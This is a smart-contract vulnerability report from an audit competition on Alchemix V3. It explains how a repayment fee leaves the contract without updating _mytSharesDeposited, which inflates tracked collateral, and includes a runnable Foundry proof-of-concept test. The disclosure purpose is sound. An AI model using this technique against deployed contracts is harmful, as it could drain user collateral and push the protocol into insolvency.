58395 sc high repayment fee exit leaves mytsharesdeposited inflated hiding protocol insolvency

Submitted on Nov 1st 2025 at 22:12:55 UTC by @Codexstar for Audit Comp | Alchemix V3

• Report ID: #58395
• Report Type: Smart Contract
• Report severity: High
• Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol
• Impacts:
  • Protocol insolvency

Description

Brief / Intro

AlchemistV3._resolveRepaymentFee deducts the repayment fee from a borrower’s collateral and pays it to the liquidator, but _mytSharesDeposited is never decremented. In the liquidation branch that only repays earmarked debt, the fee leaves the contract while system TVL still counts it. Repeating this drains real collateral and lets the protocol burn alAssets against phantom backing until it becomes insolvent.

Vulnerability Details

• When _liquidate only needs to clear earmarked debt, it executes:

  repaidAmountInYield = _forceRepay(accountId, account.earmarked);
  if (account.debt == 0) {
      feeInYield = _resolveRepaymentFee(accountId, repaidAmountInYield);
      TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
      return (repaidAmountInYield, feeInYield, 0);
  }
  

  src/AlchemistV3.sol:819-828

• _resolveRepaymentFee removes the fee from the borrower’s collateral balance but leaves global accounting untouched:

  fee = repaidAmountInYield * repaymentFee / BPS;
  account.collateralBalance -= fee > account.collateralBalance ? account.collateralBalance : fee;
  

  src/AlchemistV3.sol:900-905

• Immediately after, _liquidate transfers the fee out of the contract (src/AlchemistV3.sol:825-826). _mytSharesDeposited is never reduced, so _getTotalUnderlyingValue() (src/AlchemistV3.sol:1236-1241) still includes the missing amount. Transmuter bad-debt scaling (src/Transmuter.sol:215-226) and collateralization checks now rely on phantom collateral.

Impact Details

• Each liquidation that repays earmarked debt overstates _mytSharesDeposited by repaidAmountInYield * repaymentFee / BPS.
• The protocol keeps redeeming alAssets and issuing new debt against nonexistent backing, leading to permanent bad debt.
• With any non-zero repaymentFee, an attacker can farm this branch, extract fees, and quietly erode actual collateral until insolvency.

References

• Earmarked-only liquidation flow: src/AlchemistV3.sol:819-828
• Repayment fee deduction: src/AlchemistV3.sol:900-905
• Fee transfer to liquidator: src/AlchemistV3.sol:825-826
• TVL calculation from _mytSharesDeposited: src/AlchemistV3.sol:1236-1241
• Bad-debt ratio using inflated denominator: src/Transmuter.sol:215-226

Proof of Concept

1. Set repaymentFee to a positive value (e.g., 5%) and keep protocol fee at 0 to isolate the effect.
2. Borrower deposits MYT, mints debt; another user creates a transmuter redemption to earmark half the debt.
3. After maturity, liquidator calls alchemist.liquidate(tokenId). _forceRepay clears the debt and _resolveRepaymentFee pays the fee; _liquidate returns early.
4. Compare alchemist.getTotalUnderlyingValue() with convertYieldTokensToUnderlying(IERC20(vault).balanceOf(address(alchemist))): the difference equals the repayment fee, proving _mytSharesDeposited still counts the exited funds.

Runnable Foundry Test

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {AlchemistV3Test} from "../AlchemistV3.t.sol";
import {AlchemistNFTHelper} from "../libraries/AlchemistNFTHelper.sol";
import {IMockYieldToken} from "../mocks/MockYieldToken.sol";
import {SafeERC20} from "../../libraries/SafeERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract RepaymentFeeAccountingPoC is AlchemistV3Test {
    using SafeERC20 for IERC20;

    function test_poc_repayment_fee_leaves_tracked_tvl_inflated() external {
        vm.startPrank(alOwner);
        alchemist.setProtocolFee(0);
        alchemist.setRepaymentFee(500); // 5%
        vm.stopPrank();

        uint256 amount = 100e18;
        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(vault), address(alchemist), amount);
        alchemist.deposit(amount, address(0xbeef), 0);
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        alchemist.mint(tokenId, amount / 2, address(0xbeef));
        vm.stopPrank();

        vm.prank(alOwner);
        IMockYieldToken(mockStrategyYieldToken).siphon(20e18);

        vm.prank(alOwner);
        transmuterLogic.setTransmutationTime(1);

        vm.startPrank(address(0xdad));
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 50e18);
        transmuterLogic.createRedemption(50e18);
        vm.stopPrank();

        vm.roll(block.number + 2);

        vm.startPrank(externalUser);
        uint256 trackedBefore = alchemist.getTotalUnderlyingValue();
        uint256 actualBefore = alchemist.convertYieldTokensToUnderlying(IERC20(address(vault)).balanceOf(address(alchemist)));
        (uint256 repaidAmountInYield, uint256 feeInYield,) = alchemist.liquidate(tokenId);
        uint256 trackedAfter = alchemist.getTotalUnderlyingValue();
        uint256 actualAfter = alchemist.convertYieldTokensToUnderlying(IERC20(address(vault)).balanceOf(address(alchemist)));
        vm.stopPrank();

        uint256 repaidUnderlying = alchemist.convertYieldTokensToUnderlying(repaidAmountInYield);
        uint256 feeUnderlying = alchemist.convertYieldTokensToUnderlying(feeInYield);
        uint256 delta = (trackedAfter - actualAfter) - (trackedBefore - actualBefore);

        assertEq(delta, repaidUnderlying + feeUnderlying, "Tracked TVL ignores outflows");
        assertEq(delta - repaidUnderlying, feeUnderlying, "Repayment fee alone inflates TVL");
    }
}

Run with:

forge test --match-test test_poc_repayment_fee_leaves_tracked_tvl_inflated -vv